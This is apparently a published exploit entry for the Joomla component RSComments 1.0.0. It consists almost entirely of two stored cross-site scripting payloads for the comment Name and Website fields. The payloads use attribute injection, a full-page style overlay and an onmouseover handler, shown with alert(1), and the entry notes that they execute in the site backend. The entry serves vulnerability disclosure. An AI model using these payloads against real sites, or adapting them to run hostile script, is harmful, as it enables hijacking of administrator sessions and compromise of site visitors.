Joomla! Component RSComments 1.0.0 – Persistent Cross-Site Scripting
# Exploit Title: Joomla Component RSComments 1.0.0 Multiple XSS Vulnerabilities # Date: 18 May 2010 # Author: jdc # Software Link: http://www.rsjoomla.com # Version: 1.0.0 # Tested on: PHP5, MySQL5 Name Field Persistent XSS ------------------------- x"/style="position:absolute;top:0;left:0;width:999pc;height:999pc"/onmouseover="alert(1)//" NOTE: ONLY executes in backend! Website Field Persistent XSS ---------------------------- http://x"/style="position:absolute;top:0;left:0;width:999pc;height:999pc"/onmouseover="alert(1)//" NOTE: also executes in backend! |